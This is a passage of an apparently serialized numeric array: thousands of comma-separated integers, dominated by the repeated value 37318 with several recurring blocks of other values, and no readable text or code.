318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,36864,36899,36883,36883,36883,36903,36883,36883,36883,36883,36883,36926,36919,36883,36883,36879,36883,36883,36942,36991,37318,37318,41289,37087,37318,37318,37010,37318,37318,37318,37318,37318,65657,40192,38525,37318,37318,39335,40192,38527,37031,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,37318,37318,37318,37318,48276,37318,37318,37318,37318,37318,67919,57964,39727,39739,37318,37318,72403,39755,36991,37318,37318,41289,37087,37318,37318,37010,39794,37318,37318,37318,37318,65657,40192,38525,37318,37318,39813,40192,39835,37031,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39854,39870,37318,37318,37318,46325,37318,37318,36994,37318,61657,45847,57964,37318,37318,61650,62405,62409,50496,39889,37318,37318,41289,37087,37318,44009,37010,37318,37318,37318,37318,37318,65657,40192,38525,37318,37318,39335,40192,45833,37031,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39908,62747,37318,37318,37318,42026,65655,37318,73568,65651,65646,39935,62736,68791,45102,45088,45095,68779,39950,36991,37318,37318,41289,39994,37318,45426,37010,37318,37318,37318,37318,37318,65657,40192,38525,37318,37318,39335,40192,39370,40016,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,40039,69458,41098,41041,37318,46044,44842,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,47580,37318,37318,37318,48276,40073,37318,37015,71422,71423,40094,57964,37318,37318,67783,40130,40134,40150,36991,37318,37318,41289,37087,37318,37318,37010,37318,37318,37318,37318,37318,65657,40192,38525,37318,37318,40186,40192,38527,37031,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,37318,37318,37318,37318,48276,71599,37318,37318,37318,37318,67919,40209,37318,37318,66772,40222,40225,40241,36991,37318,37318,41289,37087,37318,37318,37010,37318,37318,37318,37318,37318,65657,40192,38525,37318,37318,39335,40192,38527,37031,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,37318,37318,37318,37318,48276,37318,37318,37318,37318,37318,71606,73347,37318,37318,37318,37318,37318,40283,40324,37318,37318,41289,37087,37318,37318,37010,37318,37318,37318,37318,37318,65657,40192,38525,37318,37318,39335,40192,38527,37031,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,40344,37116,37202,37162,40378,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,40416,40432,37318,37318,37318,48315,37318,37318,37526,37318,62612,40451,57964,37318,37318,62605,65082,65086,40487,40535,37318,37318,41289,37087,37318,37318,40554,37318,37318,37318,37318,37318,65657,40192,38525,37318,37318,39335,40192,38131,40575,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,40598,40656,40697,40697,40697,40663,40736,40697,40698,40727,40642,40679,40626,40693,40745,40613,40752,40714,40768,36991,37318,37318,40817,40815,37318,37318,37010,37318,37318,37318,37318,37318,65657,40192,38525,37318,37318,39335,40192,38527,37031,44584,37054,40804,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37